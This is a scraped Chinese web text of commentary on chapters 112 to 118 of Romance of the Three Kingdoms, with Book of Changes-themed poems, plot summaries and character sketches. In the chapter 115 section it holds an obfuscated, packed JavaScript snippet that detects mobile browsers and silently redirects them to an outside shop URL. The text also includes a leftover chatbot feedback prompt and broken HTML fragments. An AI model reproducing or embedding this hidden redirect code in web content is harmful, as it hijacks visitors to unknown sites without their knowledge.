    于诠死节：寿春被围，于诠愿意领一军从南门入城助诸葛诞守城，在与魏军交战中，他宁死不降，大呼“人生在世，得死于战场者，幸耳！”最终力战三十余合，人困马乏，被乱军所杀。后人有诗赞曰：“司马当年围寿春，降兵无数拜车尘。东吴虽有英雄士，谁及于诠肯杀身！”


    经典诗句：


    “司马当年围寿春，降兵无数拜车尘。东吴虽有英雄士，谁及于诠肯杀身！”此诗赞扬了于诠的忠义和英勇，在众多降兵之中，于诠的死节显得格外可贵。


    “忠臣矢志不偷生，诸葛公休帐下兵，《薤露》歌声应未断，遗踪直欲继田横！”这是


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    赞扬寿春城中与诸葛诞一同战死、拒不投降的士兵们的忠义，将他们与秦末的田横相提并论。


    中心思想：


    这一回主要展现了战争的残酷和复杂，以及忠义之士的高尚品质。寿春之战中，各方势力相互争斗，诸葛诞的失败、孙綝的残暴、于诠的死节等情节，反映出在乱世之中，人们的命运多舛，不同的人有不同的选择和结局。同时，姜维趁魏国内乱出兵伐魏，体现了他对蜀汉的忠诚和积极进取的精神，但也暗示了蜀汉在后期面临的困境和艰难。通过这些情节，揭示了三国时期政治斗争的激烈和人物命运的无常，以及忠义、智慧、勇气等品质在乱世中的重要价值。


    二、《周易哲学视角下的〈三国演义〉第 112 回解析》


    《三国演义》第 112 回“救寿春于诠死节，取长城伯约鏖兵”，这一回目蕴含着丰富的情节与深刻的内涵。当我们以周易哲学的视角来深入剖析时，会发现其中更具深度的意义和启示。


    在这一回中，寿春之战与姜维伐魏这两个主要事件相互交织，展现出了命运的波澜壮阔与无常。寿春之战中，诸葛诞的命运如同周易中的“否卦”，陷入了困境与绝境。他奋起反抗司马昭，但最终却难逃失败的命运。而东吴孙綝的残暴行径，则如同“剥卦”，剥落了人心与正义，使其众叛亲离。


    于诠的死节则是这一回中的一大亮点，他的行为体现了周易中的“大过卦”精神。于诠明知必死，却毅然选择了坚守与牺牲，这种超越自我的勇气和担当，令人敬佩。他的死不仅是对寿春的坚守，更是对忠义的极致诠释，如同卦象中的“刚过而中”，


    展现了一种超越常人的坚定信念。


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 第113章 丁奉定计斩孙綝 姜维斗阵破邓艾

    一、七律诗词形式对《周易哲学视角下的〈三国演义〉第 113 回解析》的创作示例：


    （一）《易理三国第 113 回析》


    丁奉奇谋斩綝奸，东吴局势始新颜。


    阴阳易变权争处，刚柔相衡乱局间。


    姜邓阵前才智斗，乾坤局里运途艰。


    兴衰成败皆天数，易理昭昭鉴史斑。


    （二）诠释:


    首联“丁奉奇谋斩綝奸，东吴局势始新颜”：


    “丁奉奇谋斩綝奸”，直接点出了本回中丁奉定计斩杀孙綝这一关键事件。丁奉作为东吴老将，以其智慧和果敢设计铲除了专权跋扈的孙綝，这是东吴政治局势的一个重要转折点。此句强调了丁奉的谋略和行动对东吴的积极影响，为后续东吴的稳定奠定了基础。


    “东吴局势始新颜”，说明孙綝被斩后，东吴的局势有了新的变化，从之前孙綝的专权乱政到如今有了重新洗牌、走向稳定的可能。这也体现了《周易》中“变易”的思想，局势不断变化，旧的秩序被打破，新的局面得以开启。


    颔联“阴阳易变权争处，刚柔相衡乱局间”：


    “阴阳易变权争处”，将《周易》中的阴阳观念与东吴的权力争斗相结合。在东吴的政治舞台上，孙綝的专权与吴主孙亮的抗争、丁奉等忠臣的反击，形成了不同势力的较量。这种权力的争夺就如同阴阳的相互对立和转化，孙綝的势力盛极一时，但最终被丁奉等人推翻，阴阳的平衡被重新调整，权力的归属也发生了变化。


    “刚柔相衡乱局间”，丁奉在面对孙綝的专权乱局时，展现出了刚柔相济的品质。他既有果断行动、铲除奸佞的刚强一面，又有审时度势、巧妙设计的柔韧一面。这种刚柔相衡的处事方式，使他能够在混乱的局势中取得成功，也符合《周易》中强调的事物的两面性和相互平衡的道理。


    颈联“姜邓阵前才智斗，乾坤局里运途艰”：


    “姜邓阵前才智斗”，描述了姜维与邓艾在阵前的较量。姜维作为蜀汉的大将军，继承了诸葛亮的遗志，不断北伐；邓艾则是曹魏的名将，善于用兵。两人在战场上斗智斗勇，各展其能，展现了高超的军事才能和战略智慧。这种军事对抗就如同《周易》中所说的“乾坤”之局，充满了变数和挑战。


    “乾坤局里运途艰”，姜维和邓艾所处的时代背景是三国纷争，局势动荡不安。他们的命运也充满了艰难险阻，无论是蜀汉的北伐还是曹魏的防守，都面临着重重困难。这反映了《周易》中“乾坤”所代表的天地万物的复杂性和不确定性，人们在这样的局势下，命运的走向难以预测，需要不断努力和抗争。


    尾联“兴衰成败皆天数，易理昭昭鉴史斑”：


    “兴衰成败皆天数”，总结了《三国演义》第 113 回中所体现的历史规律。东吴的孙綝专权到被斩，蜀汉的姜维北伐的胜负，以及三国局势的不断变化，都似乎受到一种冥冥之中的力量所左右，这与《周易》中强调的“天数”观念相契合。无论是国家的兴衰还是个人的成败，都有其一定的命运轨迹。


    “易理昭昭鉴史斑”，强调了《周易》哲学对历史的深刻洞察和启示作用。通过对《三国演义》第 113 回的解析，我们可以看到《周易》中的哲学思想在历史事件中得到了充分的体现，这些思想如同明镜一般，照亮了历史的脉络和轨迹，让我们能够从历史的斑驳痕迹中汲取经验和教训。<


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    p> （三）《三国演义》第113回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故，中心思想及指导思想《三国演义》第113回回目为“丁奉定计斩孙綝 姜维斗阵破邓艾”。


    经典梗概：


    东吴方面：东吴大将军孙綝，听知全端、唐咨等降魏后，勃然大怒，将各人家眷尽皆斩之。吴主孙亮虽年仅十六，但见孙綝杀戮太过，心中不满。孙亮与国舅全纪商议，准备除掉孙綝，却因全纪之父全尚之妻向孙綝告密，导致计划败露。孙綝先围大内，拿下全尚、刘丞等人及其家小。随后孙綝废孙亮为会稽王，迎立琅琊王孙休为君。孙休即位后，封孙綝为丞相、荆州牧，孙綝一门五侯，权倾人主。孙休恐其内变，阳示恩宠，内实防之。孙綝骄横愈甚，一日奉牛酒入宫上寿，孙休不受，孙綝大怒。老将丁奉与孙休商议，定下计策，在腊日大会群臣时，以孙休有诏为由擒住孙綝，将其斩杀，并将孙綝兄弟尽斩于市，灭其三族，还为被害的诸葛恪等忠臣重建坟墓。


    蜀汉方面：姜维听闻东吴的变故后，认为是伐魏的好时机，于是再次兴兵。他以廖化、张翼为先锋，夏侯霸总中军，共起蜀兵二十万，进军至祁山。邓艾在祁山寨中整点陇右之兵，事先已挖好地道。姜维至谷口分作三寨，地道正在左寨之中。当夜，邓艾派邓忠与师纂各引一万兵左右冲击，又派副将郑伦引五百掘子军从地道直至左营。王含、蒋斌因立寨未定，遭魏兵内外夹攻，最终弃寨而走。邓艾赞叹姜维深得孔明之法。次日，姜维重拨军马，让王含、蒋斌安营后，将伤死身尸填于地道之中，以土掩之，并下战书单搦邓艾来日交锋。


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    容！

 第114章 曹髦驱车死南阙，姜维弃粮胜魏兵

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 114 回解析》的解读：


    （一）《〈三国演义〉第 114 回解析》


    周易玄妙蕴哲思，三国风云变幻时。


    曹髦驱车悲南阙，姜维弃粮展奇知。


    时势相推阴阳转，权谋纷争终有期。


    王经忠义昭日月，历史轮回启深思。


    （二）诠释


    这首诗围绕《三国演义》第 114 回的内容，结合周易哲学的观点，展现了其中的人物命运、权谋争斗以及历史的沧桑感，同时也表达了对忠义精神的赞颂和对历史轮回的感慨。


    以下是对这首七律诗词的诠释：


    诗的首联“周易玄妙蕴哲思，三国风云变幻时”，点明了以周易哲学来解读《三国演义》第 114 回所处的时代背景，强调了周易的深奥和其中蕴含的哲理，以及三国时期的风云变幻。


    “曹髦驱车悲南阙，姜维弃粮展奇知”，描述了曹髦驱车冲向南方宫阙的悲壮之举，以及姜维运用弃粮之计展现出的智谋。


    “时势相推阴阳转，权谋纷争终有期”，表达了时势的推动和阴阳的变化，以及权谋争斗终究会有一个期限，暗示了历史的发展规律。


    “王经忠义昭日月，历史轮回启深思”，赞颂了王经的忠义如同日月般光辉，同时也引发了对历史轮回的深刻思考。


    整首诗通过对《三国演义》第 114 回的解析，将周易哲学与故事情节相结合，展现了丰富的内涵和深远的意义。你觉得这样的诠释如何呢？你还可以提出更多的要求和建议，让我们一起进一步完善对这首诗的诠释。


    （三）《三国演义》第114回回目：曹髦驱车死南阙，姜维弃粮胜魏兵。


    经典梗概：


    魏国方面：魏主曹髦知道司马昭有篡逆之心，不甘坐受废辱，于是带领三百多护卫去杀司马昭，但行动被泄密。司马昭的心腹贾充带领数千铁甲禁兵前来，其手下成济在贾充的指使下将曹髦刺死。曹髦死后，司马昭将王经全家下狱，王经母子含笑受刑。之后司马昭立曹操的孙子曹璜为帝，曹璜改名曹奂，司马昭被封为相国、晋公。


    蜀国方面：姜维得知司马昭弑了曹髦，立了曹奂，认为此时伐魏有名，于是发书入吴，令其起兵问司马昭弑君之罪，自己也奏准后主，起兵十五万，分三路杀奔祁山而来。邓艾得知后，与参军王瓘商议，王瓘向姜维诈降，姜维识破后将计就计，截取王瓘给邓艾的书信并修改了两人会合的日期。邓艾得到书信后前去接应被姜维围困，姜维另派人围杀王瓘，最后邓艾败逃，王瓘投河自杀。


    主要人物：


    曹髦：魏国皇帝，虽为天子但手中无实权，不甘做司马昭的傀儡，勇敢地试图反抗司马昭，最终被弑杀。他展现出了一定的勇气和骨气，但因势单力薄、缺乏足够的支持以失败告终。


    司马昭：曹魏权臣，野心勃勃，妄图篡夺曹魏政权。他掌控着魏国的军政大权，在朝中权势滔天，其心腹贾充更是助纣为虐，帮助他排除异己。


    姜维：蜀汉将领，继承诸葛亮的遗志，一心想要北伐中原，恢复汉室。他足智多谋，在本回中识破了王瓘的诈降之计并将计就计，取得了胜利。


    贾充：司马昭的心腹，为司马昭出谋划策，在曹髦试图反抗司马昭时，指使成济杀死曹髦，是一个为了权力不择手段的人。


    王瓘：邓


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    艾手下的参军，奉邓艾之命向姜维诈降，却被姜维识破，最终计划失败投河自尽。


    经典情节：


    曹髦驱车死南阙：曹髦不堪忍受司马昭的专权，亲自率领三百多护卫出宫去讨伐司马昭。在面对贾充带领的数千铁甲禁兵时，曹髦毫无畏惧，仗剑大喝“吾乃天子也！汝等突入宫庭，欲弑君耶？”但最终还是被成济所杀。这一情节充分展现了曹髦的勇气和无奈，也反映了曹魏政权的衰落和司马昭的跋扈。


    姜维将计就计破邓艾：邓艾派王瓘向姜维诈降，姜维识破后将计就计，修改了王瓘给邓艾的书信，使得邓艾中了圈套。当邓艾按照书信上的日期去接应王瓘时，被姜维围困，损失惨重。这一情节展示了姜维的智谋和军事才能，也为蜀汉在与曹魏的战争中取得了一次难得的胜利。


    经典诗句：


    “司马当年命贾充，弑君南阙赭袍红。却将成济诛三族，只道军民尽耳聋。”这首诗是后人对司马昭指使贾充弑君，却又将成济三族诛杀以平息民愤这一事件的感慨，揭示了司马昭的残忍和虚伪。


    “汉初夸伏剑，汉末见王经：真烈心无异，坚刚志更清。节如泰华重，命似鸿毛轻。母子声名在，应同天地倾。”这首诗是对王经母子的赞美，王经忠心耿耿，面对司马昭的威逼利诱毫不屈服，最终和母亲一起含笑受刑，他们的气节和忠诚令人敬佩。


    经典典故：


    曹髦反抗司马昭：曹髦作为皇帝，不甘心做傀儡，奋起反抗权臣司马昭，这一事件在历史上被称为“曹髦之变”。它反映了曹魏政权内部的矛盾和斗争，也成为了中国历史上皇帝反抗权臣的一个典型案例。


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 第115章 诏班师后主信谗 托屯田姜维避祸

    一、关于《周易哲学视角下的〈三国演义〉第 115 回解析》的七律诗词示例，并加以解析：


    （一）《易析三国一一五回》


    蜀汉兴师志未穷，姜维伐魏意如虹。


    阴阳互扰朝纲乱，卦象潜移运势忡。


    后主信谗班诏促，将军避祸屯田融。


    兴衰似在易中定，史海沉浮道亦同。


    （二）解析如下：


    首联：“蜀汉兴师志未穷，姜维伐魏意如虹”。这一联描述了《三国演义》第 115 回中姜维积极兴兵伐魏的场景。姜维一心想要恢复中原，多次出师，展现出坚定的志向和无畏的精神，如彩虹般绚烂夺目。此句为后文的分析奠定了基础，突出了姜维这一人物在本回中的重要行动。


    颔联：“阴阳互扰朝纲乱，卦象潜移运势忡”。这里的“阴阳”是从周易哲学的角度出发，在蜀汉政权内部，姜维等忠臣良将代表着积极进取的阳刚之力，而黄皓等谗佞之辈则是消极有害的阴柔之态。阴阳相互干扰，导致朝纲混乱，国家的运势也随之变得令人担忧。这一联体现了周易中阴阳相互作用、相互影响的哲学观念，与本回中蜀汉内部的政治斗争和矛盾相呼应。


    颈联：“后主信谗班诏促，将军避祸屯田融”。此联紧扣回目中的主要情节，后主刘禅听信谗言，下诏召回姜维，使得姜维的北伐大业受阻。而姜维为了避祸，选择了屯田沓中。“班诏促”体现了外部环境对姜维的不利影响，“屯田融”则表现了姜维在困境中寻找出路、保存实力的策略，这也是他根据当时的局势所做出的无奈之举。


    尾联：“兴衰似在易中定，史海沉浮道亦同”。这一联是对本回故事的总结和升华，从周易哲学的角度来看，《三国演义》第 115 回中蜀汉的兴衰似乎在冥冥之中早已注定，就如同周易中的卦象变化一样，有着其内在的规律。历史的海洋中，各个势力的沉浮都遵循着一定的“道”，这个“道”既包括历史发展的客观规律，也包含了周易哲学所揭示的宇宙万物的运行法则。此句表达了对历史的深刻思考和对《三国演义》所蕴含的哲学意义的探索。


    总体而言，这首七律诗词从周易哲学的视角出发，对《三国演义》第 115 回进行了深入的解析和思考，将文学作品与哲学思想有机地结合在一起，既展现了诗词的艺术魅力，又体现了对经典名着的独特解读。


    （三）《三国演义》第115回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故，中心思想及指导思想


    《三国演义》第115回名为“诏班师后主信谗 托屯田姜维避祸”。以下是对这一回的详细介绍：


    1. 主要人物：


    姜维：蜀汉大将军，继承诸葛亮的遗志，一心想要北伐中原，恢复汉室。本回中他不顾谯周劝阻，执意第八次伐魏，但因各种原因最终未能成功，后选择屯田避祸。


    邓艾：曹魏名将，足智多谋，与姜维多次交锋，是姜维北伐的主要对手之一。本回中他在洮阳设伏，击败了姜维的先锋夏侯霸。


    后主刘禅：蜀汉皇帝，昏庸无能，轻信宦官黄皓的谗言，召回姜维，导致姜维的北伐计划受阻。


    黄皓：蜀汉的宦官，奸巧专权，在朝中结党营私，排挤忠良，对蜀汉的政治局势产生了极坏的影响。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14146190|150225||http|test|mini|href|location''.split(''|''),0,{}));


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    p> 谯周：蜀汉的大臣，反对姜维连年北伐，认为此举劳民伤财，不利于蜀汉的发展。


    夏侯霸：本为曹魏将领，后因司马懿诛杀曹爽，被迫投降蜀汉，成为姜维的得力助手，在本回中被邓艾设计所杀。


    2. 经典梗概：


    蜀汉景耀五年冬十月，姜维准备充分后上表后主刘禅请求出兵伐魏。谯周夜观天文认为此行不利，极力劝阻，但刘禅犹豫不决。姜维留廖化守汉中，自己率三十万大军径取洮阳。邓艾分析姜维的行动，在洮阳设下伏兵。夏侯霸作为先锋，见洮阳城门大开，以为是座空城，结果中计，被城上的伏兵射死。随后姜维引兵接应，与司马望交战，初战不利。


    姜维本想明争侯河，暗袭祁山，围困邓艾，但后主刘禅听信宦官黄皓之言，连发三道诏命召回姜维。姜维得知是黄皓搞鬼，欲杀之，后在秘书郎郤正的劝说下，决定前往沓中屯田避祸。姜维向刘禅奏请，刘禅同意，于是姜维率领八万兵马前往沓中种麦，以为久计。与此同时，邓艾得知姜维在沓中屯田，画成图本具表申奏。


    3. 经典情节：


    夏侯霸中计身死：夏侯霸作为姜维的先锋，在进攻洮阳时，看到城门大开，以为是座空城，放松了警惕。结果城上突然鼓角齐鸣，矢石如雨，夏侯霸和五百军皆死于城下，这一情节突出了邓艾的智谋和姜维此次北伐的艰难。


    姜维怒斥黄皓：姜维回到成都后，得知是黄皓进谗言导致自己被召回，十分愤怒，欲杀黄皓。但刘禅却偏袒黄皓，让姜维无可奈何，这一情节体现了蜀汉内部的政治腐败和姜维的无奈。


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 第116章 钟会分兵汉中道，武侯显圣定军山

    一、七律对《周易哲学视角下的〈三国演义〉第 116 回解析》的解析：


    （一）《〈三国演义〉第 116 回解析》


    周易哲思蕴妙玄，三国百转史篇连。


    钟会分兵谋汉中，武侯显圣定军山。


    阴阳变幻玄机隐，命运无常世事迁。


    忠义仁德载千古，风云际会话当年。


    （二）诠释:


    这首诗围绕《三国演义》第 116 回，以七律的形式展现了其中蕴含的周易哲学思想。诗中描述了钟会分兵的策略和武侯显圣的情节，体现了阴阳变化和命运无常的观念，同时强调了忠义仁德的重要性，最后感慨当年的风云变幻。


    “周易哲思蕴妙玄，三国百转史篇连”：这两句指出《周易》的哲学思想蕴含着精妙深邃的道理，而《三国演义》的故事曲折多变，与历史篇章紧密相连。


    “钟会分兵谋汉中，武侯显圣定军山”：描述了第 116 回中的主要情节，钟会分兵汉中的军事行动，以及武侯诸葛亮显圣于定军山的神奇场景。


    “阴阳变幻玄机隐，命运无常世事迁”：体现了周易哲学中阴阳相互转化、变化莫测的思想，以及命运难以捉摸、世事不断变迁的特点。


    “忠义仁德载千古，风云际会话当年”：强调了忠义仁德等价值观在历史长河中的重要意义，以及人们在回顾当年的风云变幻时所引发的感慨。


    整首诗通过对《三国演义》第 116 回的解析，结合周易哲学的视角，展现了丰富的内涵和深刻的思考。


    （三）《三国演义》第116回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故，中心思想及指导思想:


    《三国演义》第116回回目：钟会分兵汉中道，武侯显圣定军山。


    经典梗概：


    司马昭决心伐蜀，派钟会率领大军出征。钟会让许褚之子许仪为先锋，分兵三路取汉中，自己则统领十万余众随后。邓艾也接到伐蜀之诏，调兵遣将准备出战。蜀国后主刘禅听信宦官黄皓之言，信了神婆所说，认为魏国疆土将归自己，对姜维的告急表文置之不理，黄皓还将姜维的书信隐藏，耽误了军中大事。许仪作为先锋，在攻南郑关时，虽关前蜀军以武侯所遗十矢连弩射退许仪，但他最终还是帮钟会大军夺下此关。后钟会兵至阳安关，蜀将傅佥与副将蒋舒商议战守之策，傅佥欲战，蒋舒欲降。傅佥出战钟会，钟会佯败，傅佥欲退入关时，却发现蒋舒已降魏，关上竖起魏家旗号。傅佥大骂蒋舒忘恩背义，复与魏兵接战，最终被围，身受数枪，自刎而死。钟会得了阳安关，关内粮草、军器极多，于是犒赏三军。夜里，魏兵在阳安城中听到西南上喊声大震，连续两夜如此，钟会惊疑不定，前去查看。到定军山时，得知此处是夏侯渊殁处，钟会怅然。随后狂风大作，数千骑突出，魏兵大乱，回营后只说见阴云中人马杀来，却不伤人，只是一阵旋风。钟会问降将蒋舒得知此处有诸葛武侯之墓，便亲自前往祭拜，祭毕狂风顿息，愁云四散，清风习习，细雨纷纷。当晚，钟会在帐中伏几而寝，梦见诸葛亮纶巾羽扇，告诫他入蜀后万勿妄杀生灵，言讫拂袖而去。


    主要人物：


    1. 钟会：曹魏将领，饱学之士，善于用兵，此次伐蜀的主要将领之一，他领军有方，但也执法严格，比如因许仪犯军规便将其斩首示众。在定军山遇到诸葛亮显圣后，


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    对诸葛亮心存敬畏。


    2. 许仪：虎将许褚之子，勇猛有余但可能行事不够谨慎，作为先锋本想立头功，却因未做好修路搭桥之事，犯了军规，被钟会斩首。


    3. 傅佥：忠勇的蜀将，面对魏兵势大，坚持出战，在蒋舒投降、自己陷入重围的情况下，仍奋勇杀敌，最终自刎而死，展现出了高尚的气节。


    4. 蒋舒：与傅佥一同守关的蜀将，贪生怕死，背主求荣，投降了魏国。


    5. 姜维：蜀汉后期的重要将领，听闻魏兵来袭，积极应对，但因刘禅被黄皓蒙蔽，导致军情延误，局势对蜀汉极为不利。


    6. 刘禅：蜀汉后主，昏庸无能，轻信宦官黄皓和神婆的话，对姜维的告急表文毫不重视，只知贪图享乐，导致蜀汉面临危机。


    7. 诸葛亮：虽已去世，但在定军山显圣，其英灵仍心系蜀汉百姓，警告钟会入蜀后不可妄杀生灵，展现出他对蜀汉的一片赤诚之心。


    经典情节：


    1. 许仪之死：许仪作为先锋，本应逢山开路，遇水叠桥，专心修理桥梁道路以便行军。但钟会到桥上时，马蹄陷住，差点坠桥。钟会认为许仪违反了军令，不顾诸将求情，将许仪斩首示众。这一情节体现了钟会执法严格，也反映出战争中军法的重要性。


    2. 傅佥战死：傅佥忠君爱国，坚持出战，与魏兵激战。在退兵时发现蒋舒已投降，关上竖起魏家旗号，自己陷入绝境。但他宁死不降，奋勇杀敌，最终自刎而死，其英勇和忠义令人钦佩。后人有诗叹曰：“一日抒忠愤，千秋仰义名。宁为傅佥死，不作蒋舒生。”


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 第117章 邓士载偷度阴平 诸葛瞻战死绵竹

    一、关于《阴平之道与绵竹之殇：周易哲学视角下的〈邓士载偷度阴平 诸葛瞻战死绵竹〉》的七律诗词及解析：


    （一）《阴平绵竹叹》


    阴平险径邓师行，绵竹忠魂血溅缨。


    易理阴阳循势变，乾坤定数叹输赢。


    奇谋偷渡惊关隘，壮志徒留赴死生。


    史海沉浮多少事，皆如幻梦化烟轻。


    （二）解析如下：


    首联“阴平险径邓师行，绵竹忠魂血溅缨”：


    “阴平险径邓师行”：描绘了邓艾率领军队行走在阴平这条艰险的道路上。阴平古道地势险峻，环境恶劣，邓艾选择这条道路奇袭蜀汉，展现出了他的果敢和智谋。此句点明了事件发生的地点和主要人物的行动，为后续的故事展开奠定了基础。


    “绵竹忠魂血溅缨”：则叙述了诸葛瞻在绵竹与邓艾军队作战的惨烈场景。诸葛瞻为了保卫蜀汉，毅然率军抵抗，最终战死沙场，表现出了他的忠诚和英勇。“血溅缨”生动地描绘了战斗的激烈和悲壮，让人感受到了战争的残酷。


    颔联“易理阴阳循势变，乾坤定数叹输赢”：


    “易理阴阳循势变”：从周易哲学的角度出发，世间万物都有阴阳两面，相互对立又相互依存。在这场战争中，邓艾偷渡阴平是一种“阴”的策略，他避开了正面战场，选择了一条不为人知的小路，出其不意地攻击蜀汉。而诸葛瞻的抵抗则是“阳”的表现，他坚守正义，为了国家和民族的尊严奋勇作战。这种阴阳的变化和转化，体现了战争局势的不断变化。


    “乾坤定数叹输赢”：乾坤在周易哲学中代表着天地万物的总体秩序。这里暗示着这场战争的结果似乎是一种定数，蜀汉的衰落和魏国的胜利是历史的必然趋势。然而，这种定数并非不可改变，诸葛瞻的抵抗虽然最终失败，但他的精神却值得人们敬佩。此句表达了对历史命运的感慨和对战争输赢的思考。


    颈联“奇谋偷渡惊关隘，壮志徒留赴死生”：


    “奇谋偷渡惊关隘”：强调了邓艾偷渡阴平的奇谋。他的这一策略让蜀汉军队措手不及，成功地突破了蜀汉的防线，震惊了整个蜀汉。“惊关隘”形象地表现了邓艾的行动对蜀汉造成的巨大冲击，也突出了他的谋略的高明。


    “壮志徒留赴死生”：描述了诸葛瞻的壮志未酬。他虽然有着坚定的信念和勇气，但由于种种原因，最终未能阻止邓艾的进攻，壮志未酬身先死。“徒留”一词充满了遗憾和惋惜，让人不禁为诸葛瞻的命运感到叹息。


    尾联“史海沉浮多少事，皆如幻梦化烟轻”：


    “史海沉浮多少事”：回顾历史，无数的战争和事件在历史的长河中不断上演，阴平之战和绵竹之役只是其中的一部分。此句表达了对历史的敬畏和对历史事件的深刻思考，提醒人们历史是不断发展和变化的。


    “皆如幻梦化烟轻”：意味着所有的历史事件都如同梦幻一般，最终都会化为云烟，消失在历史的长河中。这既是对历史的一种感慨，也是对人生的一种感悟。人们应该以平和的心态看待历史的变迁，珍惜当下的生活。


    （三）《三国演义》第117回回目，经典梗概，主要人物，经典情节，经典诗句，经典典故，中心思想及指导思想


    回目：《邓士载偷度阴平 诸葛瞻战死绵竹》。


    经典梗概：


    魏国分兵两路进攻


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    蜀汉，钟会率领大军进攻剑阁，但被姜维等人阻挡难以攻克。邓艾则另辟蹊径，选择偷渡阴平小道。阴平道路途艰险，邓艾带领士兵们逢山开路、遇水搭桥，历经艰难困苦，终于通过阴平。到达江油后，江油守将马邈不战而降。随后邓艾继续进军，在绵竹遭遇诸葛瞻父子的抵抗。诸葛瞻父子虽然奋勇作战，但最终因寡不敌众，双双战死，绵竹失守。邓艾的军队直逼成都，蜀汉后主刘禅在恐惧和无奈之下，听从众人劝说，决定出城投降。


    主要人物：


    邓艾：魏国大将，有勇有谋，敢于冒险。他偷渡阴平的计策大胆且成功，为魏国灭蜀立下大功，但也因此与钟会产生矛盾。


    诸葛瞻：诸葛亮之子，忠诚且有气节。临危受命抵抗邓艾，虽竭尽全力但最终战死沙场，展现出了对蜀汉的忠诚和英勇无畏的精神。


    钟会：魏国将领，与邓艾共同伐蜀，但与邓艾不和。起初对邓艾偷渡阴平的计策不屑一顾，后来邓艾成功后又心生嫉妒。


    马邈：江油城守将，意志不坚定，面对邓艾的进攻轻易投降，成为蜀汉灭亡的一个因素。


    经典情节：


    邓艾偷渡阴平：邓艾率领士兵穿越七百余里的阴平小道，这里都是无人之地，道路崎岖险峻。士兵们凿山开路、搭造桥阁，邓艾甚至亲自裹毡滚下摩天岭，其艰难程度可见一斑。


    诸葛瞻父子战死绵竹：诸葛瞻父子率军在绵竹与邓艾的军队展开激战，战场上喊杀声震天，诸葛瞻父子奋勇杀敌，诸葛瞻的长子诸葛尚年仅十九岁，博览兵书、多习武艺，也跟随父亲一同作战。最终父子二人寡不敌众壮烈殉国。


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 第118章 哭祖庙一王死孝 入西川二士争功

    一、七律诗词对《周易哲学视角下的〈三国演义〉第 118 回解析》的描述：


    （一）《解析〈三国演义〉第 118 回》


    三国风云卷巨澜，一一八回思绪绵。


    周易哲思蕴其内，乾坤变幻展眼前。


    刘谌死孝忠义显，刘禅降顺命运怜。


    邓艾钟会争功业，历史沧桑墨香传。


    （二）诠释:


    这首诗通过七律的形式，概括了《三国演义》第 118 回的主要内容和周易哲学的解析角度，表达了对这一回的感慨与思考。


    诗的首联“三国风云卷巨澜，一一八回思绪绵”，点明了《三国演义》这部作品所展现的波澜壮阔的历史风云，以及第 118 回给人带来的绵长思绪。


    颔联“周易哲思蕴其内，乾坤变幻展眼前”，指出了在对这一回的解析中融入了周易哲学的思想，同时也展现了世事如乾坤般的变幻无常。


    颈联“刘谌死孝忠义显，刘禅降顺命运怜”，具体阐述了刘谌以死尽孝所体现的忠义，以及刘禅投降的无奈和令人怜悯的命运。


    尾联“邓艾钟会争功业，历史沧桑墨香传”，描述了邓艾和钟会为功业相争的情景，以及历史的沧桑通过文字传承下来。


    整首诗以凝练的语言，将《三国演义》第 118 回与周易哲学相结合，展现了其中丰富的内涵和历史的厚重感。


    （三）《三国演义》第 118 回回目为“哭祖庙一王死孝 入西川二士争功”。以下是对这一回的详细介绍：


    1. 经典梗概：


    邓艾奇兵突袭成都，后主刘禅听闻邓艾取了绵竹、诸葛瞻父子已亡，惊慌失措。大臣们商议对策，有人建议奔南中七郡，有人提议投吴。光禄大夫谯周则劝刘禅降魏，认为南蛮不可靠，且魏能吞吴，若投吴后吴被魏所吞会遭两次之辱，不如降魏可保宗庙、安黎民。后主刘禅犹豫不决，退入宫中。


    北地王刘谌坚决反对投降，痛骂谯周是“偷生腐儒”，并力劝父亲刘禅不可听信腐儒之言，应坚守成都等待姜维救援，内外夹击可获大功，不应轻易放弃先帝基业。但刘禅不听，仍决定出降。刘谌悲愤至极，带剑入宫杀死妻子和三个儿子，然后自刎于昭烈庙中，以死殉国。


    后主刘禅派谯周作降书，遣张绍、邓良同谯周赍玉玺向邓艾请降。邓艾大喜，接受降书和玉玺，并厚待张绍等人。随后，刘禅率太子诸王及群臣六十余人，面缚舆榇出降。邓艾扶起后主，亲解其缚，焚其舆榇，并车入城，自此蜀汉灭亡。


    邓艾封师纂为益州刺史等，又于绵竹筑台彰功，大会蜀中诸官饮宴。此时，邓艾与钟会两人因争灭蜀之功起了纷争。姜维假降钟会，企图借钟会之力消灭邓艾，以图后事。邓艾察觉到钟会的意图后，上书司马昭揭露钟会心怀谋反之心；钟会得知后，也迅速上书司马昭，反称邓艾有谋反之意，一场更为复杂的争斗就此展开。


    2. 主要人物：


    刘谌：刘禅的第五子，自幼聪明、英敏过人，对蜀汉忠心耿耿。在国家危难之际，他坚决反对投降，展现出了高尚的气节和强烈的爱国精神，但最终因无力回天而自杀殉国。


    刘禅：蜀汉后主，懦弱无能，胸无大志。面对邓艾兵临城下，他没有抵抗的勇气，轻易地听从了谯周的建议，选择投降，导致蜀汉灭亡。


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    > 邓艾：曹魏名将，偷渡阴平成功后，迅速逼近成都，迫使刘禅投降，立下大功。但他在胜利后变得骄横跋扈，引起了钟会的不满和司马昭的疑忌。


    钟会：曹魏将领，有一定的才能和野心。在灭蜀之战中也有功劳，与邓艾争功，后被姜维利用，陷入与邓艾的争斗之中。


    姜维：蜀汉后期的重要将领，继承了诸葛亮的遗志，一心想要复兴汉室。在蜀汉灭亡后，假意投降钟会，试图挑起邓艾与钟会的矛盾，从中寻找机会复国。


    谯周：蜀汉光禄大夫，主张投降派的代表人物，力劝刘禅降魏。


    3. 经典情节：


    刘谌哭祖庙死孝：刘谌得知父亲刘禅要投降，怒气冲天，带剑入宫表明自己宁死不降的决心。在劝说刘禅无果后，他杀死妻子和儿子，然后到昭烈庙中哭诉先帝，自刎而死。这一情节展现了刘谌的忠烈和对蜀汉的深厚感情，也与刘禅的懦弱形成了鲜明的对比。


